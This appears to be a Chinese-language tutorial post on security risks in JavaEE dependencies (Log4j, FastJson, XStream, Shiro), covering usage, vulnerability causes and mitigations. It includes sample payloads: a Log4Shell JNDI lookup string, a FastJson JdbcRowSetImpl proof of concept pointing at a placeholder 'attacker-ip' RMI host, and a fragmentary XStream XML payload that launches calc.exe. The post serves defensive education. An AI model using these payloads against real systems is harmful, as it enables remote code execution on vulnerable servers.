48-JavaEE 开发中的第三方依赖安全：Log4j、FastJson、XStream 与 Shiro 的深度剖析
在 JavaEE 开发的江湖中，第三方依赖库如同双刃剑，一方面它们极大地提高了开发效率，另一方面也可能引入潜在的安全风险。今天，我想和大家分享在实际项目中使用 Log4j、FastJson、XStream 和 Shiro 的经验，从它们的基本用法到可能引发的安全漏洞，再到如何防范这些风险。
Log4j：日志记录中的安全风险
简介
Log4j 是 Apache 基金会开发的一款基于 Java 的日志记录工具，广泛应用于各种业务系统中。它提供了灵活的日志记录功能，支持将日志信息输出到控制台、文件、数据库等多种目的地。
Maven 引用
在 Maven 项目中，可以通过以下依赖引入 Log4j：
xml复制
org.apache.logging.log4j
log4j-core
2.14.1
使用示例
java复制
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jDemo {
private static final Logger logger = LogManager.getLogger(Log4jDemo.class);
public static void main(String[] args) {
String code = "${java:os}";
logger.error("{}", code);
String exp = "${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
logger.error("{}", exp);
}
}漏洞分析
Log4j 的 JNDI 注入漏洞是一个典型的远程代码执行（RCE）漏洞。当应用程序将用户输入的数据直接记录到日志中时，如果这些数据包含恶意的 JNDI 查询字符串，攻击者可以通过构造特定的请求来触发漏洞。
例如，上述代码中的 exp 变量包含了 JNDI 查询字符串，当它被记录到日志中时，Log4j 会尝试解析并执行该查询，从而导致远程代码执行。
防范措施
-
升级 Log4j 版本：确保使用的是最新版本的 Log4j，以获得最新的安全修复。
-
限制不必要的 JNDI 请求：在配置中禁用不必要的 JNDI 功能。
-
输入验证：对用户输入的数据进行严格验证，避免将不可信的数据直接记录到日志中。
FastJson：JSON 处理中的反序列化风险
简介
FastJson 是阿里巴巴开发的一款高性能 JSON 库，用于 Java 对象与 JSON 字符串之间的相互转换。它以其高效性和易用性被广泛应用于各种 Java 应用中。
Maven 引用
xml复制
com.alibaba
fastjson
1.2.24
使用示例
java复制
import com.alibaba.fastjson.JSON;
public class FastJsonDemo {
public static void main(String[] args) {
// 序列化
String jsonString = JSON.toJSONString(new User("Alice", 25));
System.out.println(jsonString);
// 反序列化
User user = JSON.parseObject(jsonString, User.class);
System.out.println(user);
}
static class User {
private String name;
private int age;
public User() {}
public User(String name, int age) {
this.name = name;
this.age = age;
}
// getters and setters
}
}漏洞分析
FastJson 的反序列化漏洞主要源于其在处理 JSON 数据时的自动类型转换功能。如果攻击者能够构造恶意的 JSON 数据，FastJson 在反序列化过程中可能会触发 unsafe 的代码执行。
例如，在某些版本中，攻击者可以通过构造特定的 JSON 数据来触发远程代码执行：
java复制
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://attacker-ip:1099/Exploit\",\"autoCommit\":true}";防范措施
-
升级 FastJson 版本：确保使用的是最新版本的 FastJson，以获得最新的安全修复。
-
限制自动类型转换：在配置中禁用自动类型转换功能，避免处理不可信的 JSON 数据。
-
输入验证：对用户输入的 JSON 数据进行严格验证，确保其不包含恶意内容。
XStream：XML 序列化中的风险
简介
XStream 是一个用于将 Java 对象序列化为 XML，以及从 XML 反序列化为 Java 对象的库。它简单易用，支持复杂的对象图和继承结构。
Maven 引用
xml复制
com.thoughtworks.xstream
xstream
1.4.15
使用示例
java复制
import com.thoughtworks.xstream.XStream;
public class XStreamDemo {
public static void main(String[] args) {
// 序列化
Car car = new Car("Ferrari", 4000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
System.out.println(xml);
// 反序列化
Car deserializedCar = (Car) xStream.fromXML(xml);
System.out.println(deserializedCar);
}
static class Car {
private String name;
private int price;
public Car(String name, int price) {
this.name = name;
this.price = price;
}
// getters and setters
}
}漏洞分析
XStream 的反序列化漏洞主要源于其在处理 XML 数据时的动态类加载功能。如果攻击者能够构造恶意的 XML 数据，XStream 在反序列化过程中可能会触发 unsafe 的代码执行。
例如，以下是一个典型的恶意 XML 数据：
xml复制
java.lang.Comparable
calc.exe
start
防范措施
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升级 XStream 版本：确保使用的是最新版本的 XStream，以获得最新的安全修复。
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限制可加载的类：在配置中限制可加载的类范围，避免加载 unsafe 的类。
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输入验证：对用户输入的 XML 数据进行严格验证，确保其不包含恶意内容。
Shiro：安全框架中的漏洞与防范
简介
Apache Shiro 是一个强大且易用的 Java 安全框架，提供了认证、授权、加密和会话管理等功能。它被广泛应用于各种 Java Web 应用中，用于保护系统的安全。
漏洞分析
Shiro 的反序列化漏洞主要源于其 RememberMe 功能。当用户登录成功后，Shiro 会生成一个加密并编码的 cookie。在服务端，这个 cookie 会经过 Base64 解码、AES 解密和反序列化。如果攻击者能够构造恶意的 cookie 值，就可能触发反序列化漏洞。
防范措施
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升级 Shiro 版本：确保使用的是最新版本的 Shiro，以获得最新的安全修复。
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修改默认密钥：避免使用默认的 AES 密钥，使用强密钥并妥善保管。
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禁用 RememberMe 功能：如果不需要记住密码功能，可以禁用该功能。
总结
在 JavaEE 开发中，第三方依赖库的使用极大地提高了开发效率，但也带来了潜在的安全风险。通过理解这些库的使用方法和潜在漏洞，我们可以更好地保护我们的应用程序免受攻击。希望这份分享能帮助大家在实际开发中采取有效的安全措施。